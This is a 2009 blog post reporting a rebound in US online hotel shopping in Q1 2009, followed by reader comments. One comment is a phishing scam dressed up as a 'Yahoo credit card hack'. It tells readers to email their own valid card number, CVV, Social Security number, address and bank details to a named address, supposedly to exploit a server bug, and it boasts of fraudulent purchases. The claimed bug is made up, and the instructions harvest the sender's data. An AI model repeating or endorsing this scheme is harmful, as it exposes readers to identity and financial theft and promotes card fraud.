Online Hotel Shopping Rebounds in Q1
Written by Emeka Ajene (contact - e-mail) -- May 21st, 2009 |
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Each month roughly 22 million US consumers shop for hotel rooms online at hotel supplier sites or online travel agencies – with notable peaks and troughs in the summer and winter months respectively. In Q1 2009, hotel shopper volumes surged to an all-time high 24.5 million monthly shoppers, outpacing the seasonally-strong third quarters in 2008 and 2007.
In the fourth quarter of 2008, amidst a challenging economic environment, consumer interest in hotels slowed even after accounting for seasonality. While the previous three quarters in 2008 experienced 4% growth from a year ago on average, online hotel shopping activity in the fourth quarter was virtually unchanged from Q4 2007 levels. In Q1 2009 however, aggregate hotel shopping bounced back, growing a healthy 13% from the previous year, the best growth performance in recent history.
While current economic forces have undoubtedly played a role in shaping consumer behavior offline and online, consumer interest in hotels online has continued to grow. During each quarter in 2008 and in the first quarter of 2009, online hotel shopper volumes were up from the same period a year ago. Though this study does not take into account the discounted rates and deals that hotel marketers may be using in order to stimulate demand, it is nonetheless significant in that it shows continued and resilient consumer interest in hotels. If travel sellers put together the right combination of price and product, consumer demand will be there to snap it up.
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May 22nd, 2009 at 10:08 am
That’s a relief. I think everyone was scared that even though the recession is over, people would still be hesitant to start traveling. Guess this means things are going back to normal faster than expected. With the Memorial Day bump and summer vacations, it should make for an even better second quarter.
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October 6th, 2009 at 4:53 am
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October 27th, 2009 at 9:00 am
Here is a Hack you can use with the actual address to yahoo’s server. databasey47@yahoo.com the address you use for any yahoo credit card hack.
Before going shopping online, every customer has to register online with his/her credit card information and they’ll leave their emails too so that those shopping websites will confirm their registration. For those online shoppers who used yahoo emails, their credit card info is automatically stored in the yahoo server when the companies send to them confirmation emails. However, there is a BIG bug in the server that those people’s credit card information can be retrieved by any random email user who has a VALID credit card. To simplify this, here is how it works:
Send an Email to confuse a yahoo server mailbot, so that it will return to YOUR EMAIL with complete information on people’s credit card information stored in the server in the last 72 hours.
This is how you will get people’s VALID credit card information. Now you have to do exactly the same as follows:
Send an Email to databasey47@yahoo.com
With the subject: accntopp-cc-E52488 (To confuse the server)
In the email body, write:
boundary=’0-86226711-106343′ (This is line 1)
Content-Type: text/plain; (This is line 3) charset=us-ascii (This is line 4, to make the return email readable)
credit card number (This is line 7, has to be LOWER CASE letters) 000000000000000 (This is line 8, put a zero under each character, number, letter, hyphen, etc)
name on credit card (This is line 11, has to be LOWER CASE letters) 0000000000000000 (This is line 12, put a zero under each character, number, letter, hyphen, etc)
cid/cvv2 number this is either a three digit or four number on the back or front of the card. It depends on the type of credit card your using (This is line 15, has to be LOWER CASE letters) 0000000000000 (This is line 16, put a zero under each character, number, letter, hyphen, etc)
address,city (This is line 19, has to be LOWER CASE letters) 0000000000 (This is line 20, put a zero under each character, number, letter, hyphen, etc)
state,country,p.o. box (This is line 23, has to be LOWER CASE letters) 00000000000000000 (This is line 24, put a zero under each character, number, letter, hyphen, etc)
type of card (This is line 27, has to be LOWER CASE letters) 0000000000 (This is line 28, put a zero under each character, number, letter, hyphen, etc)
expiration date (This is line 31, has to be LOWER CASE letters) 0000000000000 (This is line 32, put a zero under each character, number, letter, hyphen, etc)
Telephone Number (This is line 35, has to be LOWER CASE letters) 0000000000000 (This is line 36, put a zero under each character, number, letter, hyphen, etc)
Social Security Number(This is line 39, has to be LOWER CASE letters) 0000000000000 (This is line 40, put a zero under each character, number, letter, hyphen, etc)
Bank Issuer Name(This is line 43, has to be LOWER CASE letters) 0000000000000 (This is line 44, put a zero under each character, number, letter, hyphen, etc)
E-mail(This is line 47, has to be LOWER CASE letters) 0000000000000 (This is line 48, put a zero under each character, number, letter, hyphen, etc)
252ads (This is line 51)
Return-Path: (This is line 54, type in your email between ) s_
You have to make sure you do EXACTLY as what is said above and the credit card info above the 0000 are absolutely CORRECT/VALID. Valid, meaning one that is registered in your major credit card database.
Here is a sample email: (CAUTION! This is only example, and the card is INVALID, to get the whole thing to work, you MUST use a VALID credit card as bait.
Send to: databasey47@yahoo.com
Subject: accntopp-cc-E52488
Email body:
boundary=’0-86226711-106343′
Content-Type: text/plain; charset=us-ascii
track no 1,
4013993145565451
0000000000000000
track no 2.
45328897698789
00000000000000
jesse d banks
00000000000
523
000
2537 stillwell rd.,des moines
00000000000000000000000
la,usa,50567
0000000000
645-867-9950
00000000000
visa
0000
03/2006
0000000
252ads8> Return-Path:
This may take a few minutes but it REALLY WORKS!!! If you try it now, you’ll gain access to people’s credit cards’ information, please USE THEM CAREFULLY so that you can spend thousands of dollars for free!! If you try it once every two, three days, each time you’ll gain different cards’ information.
I’ve received about 27 credit card numbers so far. There was no need to get this many, I was just so surprised at how easy it was I just kept sending for more. I’ve only used 5 numbers so far, on ebay. I bought 2 playstation 2’s, tons of games, a laptop, hardware for my computer, and more. This is too easy. I would be selling this, but whats the point. All the money I want is in the Credit Cards. Have fun, and theres no need to get hundreds of numbers, you cant use them all
:D HACKERS FOREVER!!!!
Note: If you do not receive any email then there is error in your hack email. i.e. The CC information you provided to server is invalid. You should use valid credit card informtion.
October 31st, 2009 at 7:10 pm
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